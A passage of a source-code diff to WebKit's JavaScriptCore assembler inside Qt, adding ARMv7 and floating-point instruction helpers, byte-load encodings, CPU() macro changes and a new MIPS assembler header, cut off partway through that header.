             emitInst(static_cast<ARMWord>(cc) | MOV, rd, ARMRegisters::r0, op2);
         }
 
+#if WTF_ARM_ARCH_AT_LEAST(7)
+        void movw_r(int rd, ARMWord op2, Condition cc = AL)
+        {
+            ASSERT((op2 | 0xf0fff) == 0xf0fff);
+            m_buffer.putInt(static_cast<ARMWord>(cc) | MOVW | RD(rd) | op2);
+        }
+
+        void movt_r(int rd, ARMWord op2, Condition cc = AL)
+        {
+            ASSERT((op2 | 0xf0fff) == 0xf0fff);
+            m_buffer.putInt(static_cast<ARMWord>(cc) | MOVT | RD(rd) | op2);
+        }
+#endif
+
         void movs_r(int rd, ARMWord op2, Condition cc = AL)
         {
             emitInst(static_cast<ARMWord>(cc) | MOV | SET_CC, rd, ARMRegisters::r0, op2);
@@ -378,6 +401,11 @@ namespace JSC {
             emitInst(static_cast<ARMWord>(cc) | FADDD, dd, dn, dm);
         }
 
+        void fdivd_r(int dd, int dn, int dm, Condition cc = AL)
+        {
+            emitInst(static_cast<ARMWord>(cc) | FDIVD, dd, dn, dm);
+        }
+
         void fsubd_r(int dd, int dn, int dm, Condition cc = AL)
         {
             emitInst(static_cast<ARMWord>(cc) | FSUBD, dd, dn, dm);
@@ -482,17 +510,27 @@ namespace JSC {
             emitInst(static_cast<ARMWord>(cc) | FMSR, rn, dd, 0);
         }
 
+        void fmrs_r(int rd, int dn, Condition cc = AL)
+        {
+            emitInst(static_cast<ARMWord>(cc) | FMRS, rd, dn, 0);
+        }
+
         void fsitod_r(int dd, int dm, Condition cc = AL)
         {
             emitInst(static_cast<ARMWord>(cc) | FSITOD, dd, 0, dm);
         }
 
+        void ftosid_r(int fd, int dm, Condition cc = AL)
+        {
+            emitInst(static_cast<ARMWord>(cc) | FTOSID, fd, 0, dm);
+        }
+
         void fmstat(Condition cc = AL)
         {
             m_buffer.putInt(static_cast<ARMWord>(cc) | FMSTAT);
         }
 
-#if ARM_ARCH_VERSION >= 5
+#if WTF_ARM_ARCH_AT_LEAST(5)
         void clz_r(int rd, int rm, Condition cc = AL)
         {
             m_buffer.putInt(static_cast<ARMWord>(cc) | CLZ | RD(rd) | RM(rm));
@@ -501,7 +539,7 @@ namespace JSC {
 
         void bkpt(ARMWord value)
         {
-#if ARM_ARCH_VERSION >= 5
+#if WTF_ARM_ARCH_AT_LEAST(5)
             m_buffer.putInt(BKPT | ((value & 0xff0) << 4) | (value & 0xf));
 #else
             // Cannot access to Zero memory address
@@ -594,15 +632,32 @@ namespace JSC {
 
         // Patching helpers
 
-        static ARMWord* getLdrImmAddress(ARMWord* insn, uint32_t* constPool = 0);
-        static void linkBranch(void* code, JmpSrc from, void* to, int useConstantPool = 0);
+        static ARMWord* getLdrImmAddress(ARMWord* insn)
+        {
+            // Must be an ldr ..., [pc +/- imm]
+            ASSERT((*insn & 0x0f7f0000) == 0x051f0000);
+
+            ARMWord addr = reinterpret_cast<ARMWord>(insn) + DefaultPrefetching * sizeof(ARMWord);
+            if (*insn & DT_UP)
+                return reinterpret_cast<ARMWord*>(addr + (*insn & SDT_OFFSET_MASK));
+            return reinterpret_cast<ARMWord*>(addr - (*insn & SDT_OFFSET_MASK));
+        }
+
+        static ARMWord* getLdrImmAddressOnPool(ARMWord* insn, uint32_t* constPool)
+        {
+            // Must be an ldr ..., [pc +/- imm]
+            ASSERT((*insn & 0x0f7f0000) == 0x051f0000);
+
+            if (*insn & 0x1)
+                return reinterpret_cast<ARMWord*>(constPool + ((*insn & SDT_OFFSET_MASK) >> 1));
+            return getLdrImmAddress(insn);
+        }
 
         static void patchPointerInternal(intptr_t from, void* to)
         {
             ARMWord* insn = reinterpret_cast<ARMWord*>(from);
             ARMWord* addr = getLdrImmAddress(insn);
             *addr = reinterpret_cast<ARMWord>(to);
-            ExecutableAllocator::cacheFlush(addr, sizeof(ARMWord));
         }
 
         static ARMWord patchConstantPoolLoad(ARMWord load, ARMWord value)
@@ -647,12 +702,13 @@ namespace JSC {
         void linkJump(JmpSrc from, JmpDst to)
         {
             ARMWord* insn = reinterpret_cast<ARMWord*>(m_buffer.data()) + (from.m_offset / sizeof(ARMWord));
-            *getLdrImmAddress(insn, m_buffer.poolAddress()) = static_cast<ARMWord>(to.m_offset);
+            ARMWord* addr = getLdrImmAddressOnPool(insn, m_buffer.poolAddress());
+            *addr = static_cast<ARMWord>(to.m_offset);
         }
 
         static void linkJump(void* code, JmpSrc from, void* to)
         {
-            linkBranch(code, from, to);
+            patchPointerInternal(reinterpret_cast<intptr_t>(code) + from.m_offset, to);
         }
 
         static void relinkJump(void* from, void* to)
@@ -662,12 +718,12 @@ namespace JSC {
 
         static void linkCall(void* code, JmpSrc from, void* to)
         {
-            linkBranch(code, from, to, true);
+            patchPointerInternal(reinterpret_cast<intptr_t>(code) + from.m_offset, to);
         }
 
         static void relinkCall(void* from, void* to)
         {
-            relinkJump(from, to);
+            patchPointerInternal(reinterpret_cast<intptr_t>(from) - sizeof(ARMWord), to);
         }
 
         // Address operations
@@ -708,12 +764,22 @@ namespace JSC {
         }
 
         static ARMWord getOp2(ARMWord imm);
+
+#if WTF_ARM_ARCH_AT_LEAST(7)
+        static ARMWord getImm16Op2(ARMWord imm)
+        {
+            if (imm <= 0xffff)
+                return (imm & 0xf000) << 4 | (imm & 0xfff);
+            return INVALID_IMM;
+        }
+#endif
         ARMWord getImm(ARMWord imm, int tmpReg, bool invert = false);
         void moveImm(ARMWord imm, int dest);
+        ARMWord encodeComplexImm(ARMWord imm, int dest);
 
         // Memory load/store helpers
 
-        void dataTransfer32(bool isLoad, RegisterID srcDst, RegisterID base, int32_t offset);
+        void dataTransfer32(bool isLoad, RegisterID srcDst, RegisterID base, int32_t offset, bool bytes = false);
         void baseIndexTransfer32(bool isLoad, RegisterID srcDst, RegisterID base, RegisterID index, int scale, int32_t offset);
         void doubleTransfer(bool isLoad, FPRegisterID srcDst, RegisterID base, int32_t offset);
 
@@ -764,6 +830,6 @@ namespace JSC {
 
 } // namespace JSC
 
-#endif // ENABLE(ASSEMBLER) && PLATFORM(ARM_TRADITIONAL)
+#endif // ENABLE(ASSEMBLER) && CPU(ARM_TRADITIONAL)
 
 #endif // ARMAssembler_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/assembler/ARMv7Assembler.h b/src/3rdparty/webkit/JavaScriptCore/assembler/ARMv7Assembler.h
index 02ce2e9..21279f5 100644
--- a/src/3rdparty/webkit/JavaScriptCore/assembler/ARMv7Assembler.h
+++ b/src/3rdparty/webkit/JavaScriptCore/assembler/ARMv7Assembler.h
@@ -1,5 +1,6 @@
 /*
  * Copyright (C) 2009 Apple Inc. All rights reserved.
+ * Copyright (C) 2010 University of Szeged
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions
@@ -26,9 +27,7 @@
 #ifndef ARMAssembler_h
 #define ARMAssembler_h
 
-#include <wtf/Platform.h>
-
-#if ENABLE(ASSEMBLER) && PLATFORM(ARM_THUMB2)
+#if ENABLE(ASSEMBLER) && CPU(ARM_THUMB2)
 
 #include "AssemblerBuffer.h"
 #include <wtf/Assertions.h>
@@ -201,10 +200,10 @@ class ARMThumbImmediate {
 
     ALWAYS_INLINE static void countLeadingZerosPartial(uint32_t& value, int32_t& zeros, const int N)
     {
-        if (value & ~((1<<N)-1)) /* check for any of the top N bits (of 2N bits) are set */ \
-            value >>= N;         /* if any were set, lose the bottom N */ \
-        else                     /* if none of the top N bits are set, */ \
-            zeros += N;          /* then we have identified N leading zeros */
+        if (value & ~((1 << N) - 1)) /* check for any of the top N bits (of 2N bits) are set */
+            value >>= N;             /* if any were set, lose the bottom N */
+        else                         /* if none of the top N bits are set, */
+            zeros += N;              /* then we have identified N leading zeros */
     }
 
     static int32_t countLeadingZeros(uint32_t value)
@@ -236,6 +235,11 @@ class ARMThumbImmediate {
     ARMThumbImmediate(ThumbImmediateType type, uint16_t value)
         : m_type(TypeUInt16)
     {
+        // Make sure this constructor is only reached with type TypeUInt16;
+        // this extra parameter makes the code a little clearer by making it
+        // explicit at call sites which type is being constructed
+        ASSERT_UNUSED(type, type == TypeUInt16);
+
         m_value.asInt = value;
     }
 
@@ -577,11 +581,13 @@ private:
         OP_MOV_reg_T1       = 0x4600,
         OP_BLX              = 0x4700,
         OP_BX               = 0x4700,
-        OP_LDRH_reg_T1      = 0x5A00,
         OP_STR_reg_T1       = 0x5000,
         OP_LDR_reg_T1       = 0x5800,
+        OP_LDRH_reg_T1      = 0x5A00,
+        OP_LDRB_reg_T1      = 0x5C00,
         OP_STR_imm_T1       = 0x6000,
         OP_LDR_imm_T1       = 0x6800,
+        OP_LDRB_imm_T1      = 0x7800,
         OP_LDRH_imm_T1      = 0x8800,
         OP_STR_imm_T2       = 0x9000,
         OP_LDR_imm_T2       = 0x9800,
@@ -626,12 +632,15 @@ private:
         OP_SUB_imm_T4   = 0xF2A0,
         OP_MOVT         = 0xF2C0,
         OP_NOP_T2a      = 0xF3AF,
+        OP_LDRB_imm_T3  = 0xF810,
+        OP_LDRB_reg_T2  = 0xF810,
         OP_LDRH_reg_T2  = 0xF830,
         OP_LDRH_imm_T3  = 0xF830,
         OP_STR_imm_T4   = 0xF840,
         OP_STR_reg_T2   = 0xF840,
         OP_LDR_imm_T4   = 0xF850,
         OP_LDR_reg_T2   = 0xF850,
+        OP_LDRB_imm_T2  = 0xF890,
         OP_LDRH_imm_T2  = 0xF8B0,
         OP_STR_imm_T3   = 0xF8C0,
         OP_LDR_imm_T3   = 0xF8D0,
@@ -1075,6 +1084,52 @@ public:
             m_formatter.twoWordOp12Reg4FourFours(OP_LDRH_reg_T2, rn, FourFours(rt, 0, shift, rm));
     }
 
+    void ldrb(RegisterID rt, RegisterID rn, ARMThumbImmediate imm)
+    {
+        ASSERT(rn != ARMRegisters::pc); // LDR (literal)
+        ASSERT(imm.isUInt12());
+
+        if (!((rt | rn) & 8) && imm.isUInt5())
+            m_formatter.oneWordOp5Imm5Reg3Reg3(OP_LDRB_imm_T1, imm.getUInt5(), rn, rt);
+        else
+            m_formatter.twoWordOp12Reg4Reg4Imm12(OP_LDRB_imm_T2, rn, rt, imm.getUInt12());
+    }
+
+    void ldrb(RegisterID rt, RegisterID rn, int offset, bool index, bool wback)
+    {
+        ASSERT(rt != ARMRegisters::pc);
+        ASSERT(rn != ARMRegisters::pc);
+        ASSERT(index || wback);
+        ASSERT(!wback | (rt != rn));
+
+        bool add = true;
+        if (offset < 0) {
+            add = false;
+            offset = -offset;
+        }
+
+        ASSERT(!(offset & ~0xff));
+
+        offset |= (wback << 8);
+        offset |= (add   << 9);
+        offset |= (index << 10);
+        offset |= (1 << 11);
+
+        m_formatter.twoWordOp12Reg4Reg4Imm12(OP_LDRB_imm_T3, rn, rt, offset);
+    }
+
+    void ldrb(RegisterID rt, RegisterID rn, RegisterID rm, unsigned shift = 0)
+    {
+        ASSERT(rn != ARMRegisters::pc); // LDR (literal)
+        ASSERT(!BadReg(rm));
+        ASSERT(shift <= 3);
+
+        if (!shift && !((rt | rn | rm) & 8))
+            m_formatter.oneWordOp7Reg3Reg3Reg3(OP_LDRB_reg_T1, rm, rn, rt);
+        else
+            m_formatter.twoWordOp12Reg4FourFours(OP_LDRB_reg_T2, rn, FourFours(rt, 0, shift, rm));
+    }
+
     void lsl(RegisterID rd, RegisterID rm, int32_t shiftAmount)
     {
         ASSERT(!BadReg(rd));
@@ -1827,6 +1882,6 @@ private:
 
 } // namespace JSC
 
-#endif // ENABLE(ASSEMBLER) && PLATFORM(ARM_THUMB2)
+#endif // ENABLE(ASSEMBLER) && CPU(ARM_THUMB2)
 
 #endif // ARMAssembler_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/assembler/AbstractMacroAssembler.h b/src/3rdparty/webkit/JavaScriptCore/assembler/AbstractMacroAssembler.h
index 525fe98..aad70e4 100644
--- a/src/3rdparty/webkit/JavaScriptCore/assembler/AbstractMacroAssembler.h
+++ b/src/3rdparty/webkit/JavaScriptCore/assembler/AbstractMacroAssembler.h
@@ -26,8 +26,6 @@
 #ifndef AbstractMacroAssembler_h
 #define AbstractMacroAssembler_h
 
-#include <wtf/Platform.h>
-
 #include <MacroAssemblerCodeRef.h>
 #include <CodeLocation.h>
 #include <wtf/Noncopyable.h>
@@ -173,16 +171,16 @@ public:
     struct Imm32 {
         explicit Imm32(int32_t value)
             : m_value(value)
-#if PLATFORM(ARM)
+#if CPU(ARM) || CPU(MIPS)
             , m_isPointer(false)
 #endif
         {
         }
 
-#if !PLATFORM(X86_64)
+#if !CPU(X86_64)
         explicit Imm32(ImmPtr ptr)
             : m_value(ptr.asIntptr())
-#if PLATFORM(ARM)
+#if CPU(ARM) || CPU(MIPS)
             , m_isPointer(true)
 #endif
         {
@@ -190,13 +188,14 @@ public:
 #endif
 
         int32_t m_value;
-#if PLATFORM(ARM)
+#if CPU(ARM) || CPU(MIPS)
         // We rely on being able to regenerate code to recover exception handling
         // information.  Since ARMv7 supports 16-bit immediates there is a danger
         // that if pointer values change the layout of the generated code will change.
         // To avoid this problem, always generate pointers (and thus Imm32s constructed
         // from ImmPtrs) with a code sequence that is able  to represent  any pointer
         // value - don't use a more compact form in these cases.
+        // Same for MIPS.
         bool m_isPointer;
 #endif
     };
diff --git a/src/3rdparty/webkit/JavaScriptCore/assembler/AssemblerBuffer.h b/src/3rdparty/webkit/JavaScriptCore/assembler/AssemblerBuffer.h
index 073906a..e2fb8a1 100644
--- a/src/3rdparty/webkit/JavaScriptCore/assembler/AssemblerBuffer.h
+++ b/src/3rdparty/webkit/JavaScriptCore/assembler/AssemblerBuffer.h
@@ -26,8 +26,6 @@
 #ifndef AssemblerBuffer_h
 #define AssemblerBuffer_h
 
-#include <wtf/Platform.h>
-
 #if ENABLE(ASSEMBLER)
 
 #include "stdint.h"
diff --git a/src/3rdparty/webkit/JavaScriptCore/assembler/AssemblerBufferWithConstantPool.h b/src/3rdparty/webkit/JavaScriptCore/assembler/AssemblerBufferWithConstantPool.h
index af3c3be..b1c537e 100644
--- a/src/3rdparty/webkit/JavaScriptCore/assembler/AssemblerBufferWithConstantPool.h
+++ b/src/3rdparty/webkit/JavaScriptCore/assembler/AssemblerBufferWithConstantPool.h
@@ -27,8 +27,6 @@
 #ifndef AssemblerBufferWithConstantPool_h
 #define AssemblerBufferWithConstantPool_h
 
-#include <wtf/Platform.h>
-
 #if ENABLE(ASSEMBLER)
 
 #include "AssemblerBuffer.h"
diff --git a/src/3rdparty/webkit/JavaScriptCore/assembler/CodeLocation.h b/src/3rdparty/webkit/JavaScriptCore/assembler/CodeLocation.h
index b910b6f..cab28cd 100644
--- a/src/3rdparty/webkit/JavaScriptCore/assembler/CodeLocation.h
+++ b/src/3rdparty/webkit/JavaScriptCore/assembler/CodeLocation.h
@@ -26,7 +26,6 @@
 #ifndef CodeLocation_h
 #define CodeLocation_h
 
-#include <wtf/Platform.h>
 
 #include <MacroAssemblerCodeRef.h>
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/assembler/LinkBuffer.h b/src/3rdparty/webkit/JavaScriptCore/assembler/LinkBuffer.h
index 6d08117..47cac5a 100644
--- a/src/3rdparty/webkit/JavaScriptCore/assembler/LinkBuffer.h
+++ b/src/3rdparty/webkit/JavaScriptCore/assembler/LinkBuffer.h
@@ -26,8 +26,6 @@
 #ifndef LinkBuffer_h
 #define LinkBuffer_h
 
-#include <wtf/Platform.h>
-
 #if ENABLE(ASSEMBLER)
 
 #include <MacroAssembler.h>
diff --git a/src/3rdparty/webkit/JavaScriptCore/assembler/MIPSAssembler.h b/src/3rdparty/webkit/JavaScriptCore/assembler/MIPSAssembler.h
new file mode 100644
index 0000000..0ab929d
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/assembler/MIPSAssembler.h
@@ -0,0 +1,935 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ * Copyright (C) 2009 University of Szeged
+ * All rights reserved.
+ * Copyright (C) 2010 MIPS Technologies, Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY MIPS TECHNOLOGIES, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL MIPS TECHNOLOGIES, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef MIPSAssembler_h
+#define MIPSAssembler_h
+
+#if ENABLE(ASSEMBLER) && CPU(MIPS)
+
+#include "AssemblerBuffer.h"
+#include <wtf/Assertions.h>
+#include <wtf/SegmentedVector.h>
+
+namespace JSC {
+
+typedef uint32_t MIPSWord;
+
+namespace MIPSRegisters {
+typedef enum {
+    r0 = 0,
+    r1,
+    r2,
+    r3,
+    r4,
+    r5,
+    r6,
+    r7,
+    r8,
+    r9,
+    r10,
+    r11,
+    r12,
+    r13,
+    r14,
+    r15,
+    r16,
+    r17,
+    r18,
+    r19,
+    r20,
+    r21,
+    r22,
+    r23,
+    r24,
+    r25,
+    r26,
+    r27,
+    r28,
+    r29,
+    r30,
+    r31,
+    zero = r0,
+    at = r1,
+    v0 = r2,
+    v1 = r3,
+    a0 = r4,
+    a1 = r5,
+    a2 = r6,
+    a3 = r7,
+    t0 = r8,
+    t1 = r9,
+    t2 = r10,
+    t3 = r11,
+    t4 = r12,
+    t5 = r13,
+    t6 = r14,
+    t7 = r15,
+    s0 = r16,
+    s1 = r17,
+    s2 = r18,
+    s3 = r19,
+    s4 = r20,
+    s5 = r21,
+    s6 = r22,
+    s7 = r23,
+    t8 = r24,
+    t9 = r25,
+    k0 = r26,
+    k1 = r27,
+    gp = r28,
+    sp = r29,
+    fp = r30,
+    ra = r31
+} RegisterID;
+
+typedef enum {
+    f0,
+    f1,
+    f2,
+    f3,
+    f4,
+    f5,
+    f6,
+    f7,
+    f8,
+    f9,
+    f10,
+    f11,
+    f12,
+    f13,
+    f14,
+    f15,
+    f16,
+    f17,
+    f18,
+    f19,
+    f20,
+    f21,
+    f22,
+    f23,
+    f24,
+    f25,
+    f26,
+    f27,
+    f28,
+    f29,
+    f30,
+    f31
+} FPRegisterID;
+
+} // namespace MIPSRegisters
+
+class MIPSAssembler {
+public:
+    typedef MIPSRegisters::RegisterID RegisterID;
+    typedef MIPSRegisters::FPRegisterID FPRegisterID;
+    typedef SegmentedVector<int, 64> Jumps;
+
+    MIPSAssembler()
+    {
+    }
+
+    // MIPS instruction opcode field position
+    enum {
+        OP_SH_RD = 11,
+        OP_SH_RT = 16,
+        OP_SH_RS = 21,
+        OP_SH_SHAMT = 6,
+        OP_SH_CODE = 16,
+        OP_SH_FD = 6,
+        OP_SH_FS = 11,
+        OP_SH_FT = 16
+    };
+
+    class JmpSrc {
+        friend class MIPSAssembler;
+    public:
+        JmpSrc()
+            : m_offset(-1)
+        {
+        }
+
+    private:
+        JmpSrc(int offset)
+            : m_offset(offset)
+        {
+        }
+
+        int m_offset;
+    };
+
+    class JmpDst {
+        friend class MIPSAssembler;
+    public:
+        JmpDst()
+            : m_offset(-1)
+            , m_used(false)
+        {
+        }
+
+        bool isUsed() const { return m_used; }
+        void used() { m_used = true; }
+    private:
+        JmpDst(int offset)
+            : m_offset(offset)
+            , m_used(false)
+        {
+            ASSERT(m_offset == offset);
+        }
+
+        int m_offset : 31;
+        int m_used : 1;
+    };
+
+    void emitInst(MIPSWord op)
+    {
+        void* oldBase = m_buffer.data();
+
+        m_buffer.putInt(op);
+
+        void* newBase = m_buffer.data();
+        if (oldBase != newBase)
+            relocateJumps(oldBase, newBase);
+    }
+
+    void nop()
+    {
+        emitInst(0x00000000);
+    }
+
+    /* Need to insert one load data delay nop for mips1.  */
+    void loadDelayNop()
+    {
+#if WTF_MIPS_ISA(1)
+        nop();
+#endif
+    }
+
+    /* Need to insert one coprocessor access delay nop for mips1.  */
+    void copDelayNop()
+    {
+#if WTF_MIPS_ISA(1)
+        nop();
+#endif
+    }
+
+    void move(RegisterID rd, RegisterID rs)
+    {
+        /* addu */
+        emitInst(0x00000021 | (rd << OP_SH_RD) | (rs << OP_SH_RS));
+    }
+
+    /* Set an immediate value to a register.  This may generate 1 or 2
+       instructions.  */
+    void li(RegisterID dest, int imm)
+    {
+        if (imm >= -32768 && imm <= 32767)
+            addiu(dest, MIPSRegisters::zero, imm);
+        else if (imm >= 0 && imm < 65536)
+            ori(dest, MIPSRegisters::zero, imm);
+        else {
+            lui(dest, imm >> 16);
+            if (imm & 0xffff)
+                ori(dest, dest, imm);
+        }
+    }
+
+    void lui(RegisterID rt, int imm)
+    {
+        emitInst(0x3c000000 | (rt << OP_SH_RT) | (imm & 0xffff));
+    }
+
+    void addiu(RegisterID rt, RegisterID rs, int imm)
+    {
+        emitInst(0x24000000 | (rt << OP_SH_RT) | (rs << OP_SH_RS)
+                 | (imm & 0xffff));
+    }
+
+    void addu(RegisterID rd, RegisterID rs, RegisterID rt)
+    {
+        emitInst(0x00000021 | (rd << OP_SH_RD) | (rs << OP_SH_RS)
+                 | (rt << OP_SH_RT));
+    }
+
+    void subu(RegisterID rd, RegisterID rs, RegisterID rt)
+    {
+        emitInst(0x00000023 | (rd << OP_SH_RD) | (rs << OP_SH_RS)
+                 | (rt << OP_SH_RT));
+    }
+
+    void mult(RegisterID rs, RegisterID rt)
+    {
+        emitInst(0x00000018 | (rs << OP_SH_RS) | (rt << OP_SH_RT));
+    }
+
+    void mfhi(RegisterID rd)
+    {
+        emitInst(0x00000010 | (rd << OP_SH_RD));
+    }
+
+    void mflo(RegisterID rd)
+    {
+        emitInst(0x00000012 | (rd << OP_SH_RD));
+    }
+
+    void mul(RegisterID rd, RegisterID rs, RegisterID rt)
+    {
+#if WTF_MIPS_ISA_AT_LEAST(32) 
+        emitInst(0x70000002 | (rd << OP_SH_RD) | (rs << OP_SH_RS)
+                 | (rt << OP_SH_RT));
+#else
+        mult(rs, rt);
+        mflo(rd);
+#endif
+    }
+
+    void andInsn(RegisterID rd, RegisterID rs, RegisterID rt)
+    {
+        emitInst(0x00000024 | (rd << OP_SH_RD) | (rs << OP_SH_RS)
+                 | (rt << OP_SH_RT));
+    }
+
+    void andi(RegisterID rt, RegisterID rs, int imm)
+    {
+        emitInst(0x30000000 | (rt << OP_SH_RT) | (rs << OP_SH_RS)
+                 | (imm & 0xffff));
+    }
+
+    void nor(RegisterID rd, RegisterID rs, RegisterID rt)
+    {
+        emitInst(0x00000027 | (rd << OP_SH_RD) | (rs << OP_SH_RS)
+                 | (rt << OP_SH_RT));
+    }
+
+    void orInsn(RegisterID rd, RegisterID rs, RegisterID rt)
+    {
+        emitInst(0x00000025 | (rd << OP_SH_RD) | (rs << OP_SH_RS)
+                 | (rt << OP_SH_RT));
+    }
+
+    void ori(RegisterID rt, RegisterID rs, int imm)
+    {
+        emitInst(0x34000000 | (rt << OP_SH_RT) | (rs << OP_SH_RS)
+                 | (imm & 0xffff));
+    }
+
+    void xorInsn(RegisterID rd, RegisterID rs, RegisterID rt)
+    {
+        emitInst(0x00000026 | (rd << OP_SH_RD) | (rs << OP_SH_RS)
+                 | (rt << OP_SH_RT));
+    }
+
+    void xori(RegisterID rt, RegisterID rs, int imm)
+    {
+        emitInst(0x38000000 | (rt << OP_SH_RT) | (rs << OP_SH_RS)
+                 | (imm & 0xffff));
+    }
+
+    void slt(RegisterID rd, RegisterID rs, RegisterID rt)
+    {
+        emitInst(0x0000002a | (rd << OP_SH_RD) | (rs << OP_SH_RS)
+                 | (rt << OP_SH_RT));
+    }
+
+    void sltu(RegisterID rd, RegisterID rs, RegisterID rt)
+    {
+        emitInst(0x0000002b | (rd << OP_SH_RD) | (rs << OP_SH_RS)
+                 | (rt << OP_SH_RT));
+    }
+
+    void sltiu(RegisterID rt, RegisterID rs, int imm)
+    {
+        emitInst(0x2c000000 | (rt << OP_SH_RT) | (rs << OP_SH_RS)
+                 | (imm & 0xffff));
+    }
+
+    void sll(RegisterID rd, RegisterID rt, int shamt)
+    {
+        emitInst(0x00000000 | (rd << OP_SH_RD) | (rt << OP_SH_RT)
+                 | ((shamt & 0x1f) << OP_SH_SHAMT));
+    }
+
+    void sllv(RegisterID rd, RegisterID rt, int rs)
+    {
+        emitInst(0x00000004 | (rd << OP_SH_RD) | (rt << OP_SH_RT)
+                 | (rs << OP_SH_RS));
+    }
+
+    void sra(RegisterID rd, RegisterID rt, int shamt)
+    {
+        emitInst(0x00000003 | (rd << OP_SH_RD) | (rt << OP_SH_RT)
+                 | ((shamt & 0x1f) << OP_SH_SHAMT));
+    }
+
+    void srav(RegisterID rd, RegisterID rt, RegisterID rs)
+    {
+        emitInst(0x00000007 | (rd << OP_SH_RD) | (rt << OP_SH_RT)
+                 | (rs << OP_SH_RS));
+    }
+
+    void lw(RegisterID rt, RegisterID rs, int offset)
+    {
+        emitInst(0x8c000000 | (rt << OP_SH_RT) | (rs << OP_SH_RS)
+                 | (offset & 0xffff));
+        loadDelayNop();
+    }
+
+    void lwl(RegisterID rt, RegisterID rs, int offset)
+    {
+        emitInst(0x88000000 | (rt << OP_SH_RT) | (rs << OP_SH_RS)
+                 | (offset & 0xffff));
+        loadDelayNop();
+    }
+
+    void lwr(RegisterID rt, RegisterID rs, int offset)
+    {
+        emitInst(0x98000000 | (rt << OP_SH_RT) | (rs << OP_SH_RS)
+                 | (offset & 0xffff));
+        loadDelayNop();
+    }
+
+    void lhu(RegisterID rt, RegisterID rs, int offset)
+    {
+        emitInst(0x94000000 | (rt << OP_SH_RT) | (rs << OP_SH_RS)
+                 | (offset & 0xffff));
+        loadDelayNop();
+    }
+
+    void sw(RegisterID rt, RegisterID rs, int offset)
+    {
+        emitInst(0xac000000 | (rt << OP_SH_RT) | (rs << OP_SH_RS)
+                 | (offset & 0xffff));
+    }
+
+    void jr(RegisterID rs)
+    {
+        emitInst(0x00000008 | (rs << OP_SH_RS));
+    }
+
+    void jalr(RegisterID rs)
+    {
+        emitInst(0x0000f809 | (rs << OP_SH_RS));
+    }
+
+    void jal()
+    {
+        emitInst(0x0c000000);
+    }
+
+    void bkpt()
+    {
+        int value = 512; /* BRK_BUG */
+        emitInst(0x0000000d | ((value & 0x3ff) << OP_SH_CODE));
+    }
+
+    void bgez(RegisterID rs, int imm)
+    {
+        emitInst(0x04010000 | (rs << OP_SH_RS) | (imm & 0xffff));
+    }
+
+    void bltz(RegisterID rs, int imm)
+    {
+        emitInst(0x04000000 | (rs << OP_SH_RS) | (imm & 0xffff));
+    }
+
+    void beq(RegisterID rs, RegisterID rt, int imm)
+    {
+        emitInst(0x10000000 | (rs << OP_SH_RS) | (rt << OP_SH_RT) | (imm & 0xffff));
+    }
+
+    void bne(RegisterID rs, RegisterID rt, int imm)
+    {
+        emitInst(0x14000000 | (rs << OP_SH_RS) | (rt << OP_SH_RT) | (imm & 0xffff));
+    }
+
+    void bc1t()
+    {
+        emitInst(0x45010000);
+    }
+
+    void bc1f()
+    {
+        emitInst(0x45000000);
+    }
+
+    JmpSrc newJmpSrc()
+    {
+        return JmpSrc(m_buffer.size());
+    }
+
+    void appendJump()
+    {
+        m_jumps.append(m_buffer.size());
+    }
+
+    void addd(FPRegisterID fd, FPRegisterID fs, FPRegisterID ft)
+    {
+        emitInst(0x46200000 | (fd << OP_SH_FD) | (fs << OP_SH_FS)
+                 | (ft << OP_SH_FT));
+    }
+
+    void subd(FPRegisterID fd, FPRegisterID fs, FPRegisterID ft)
+    {
+        emitInst(0x46200001 | (fd << OP_SH_FD) | (fs << OP_SH_FS)
+                 | (ft << OP_SH_FT));
+    }
+
+    void muld(FPRegisterID fd, FPRegisterID fs, FPRegisterID ft)
+    {
+        emitInst(0x46200002 | (fd << OP_SH_FD) | (fs << OP_SH_FS)
+                 | (ft << OP_SH_FT));
+    }
+
+    void lwc1(FPRegisterID ft, RegisterID rs, int offset)
+    {
+        emitInst(0xc4000000 | (ft << OP_SH_FT) | (rs << OP_SH_RS)
+                 | (offset & 0xffff));
+        copDelayNop();
+    }
+
+    void ldc1(FPRegisterID ft, RegisterID rs, int offset)
+    {
+        emitInst(0xd4000000 | (ft << OP_SH_FT) | (rs << OP_SH_RS)
+                 | (offset & 0xffff));
+    }
+
+    void swc1(FPRegisterID ft, RegisterID rs, int offset)
+    {
+        emitInst(0xe4000000 | (ft << OP_SH_FT) | (rs << OP_SH_RS)
+                 | (offset & 0xffff));
+    }
+
+    void sdc1(FPRegisterID ft, RegisterID rs, int offset)
+    {
+        emitInst(0xf4000000 | (ft << OP_SH_FT) | (rs << OP_SH_RS)
+                 | (offset & 0xffff));
+    }
+
+    void mtc1(RegisterID rt, FPRegisterID fs)
+    {
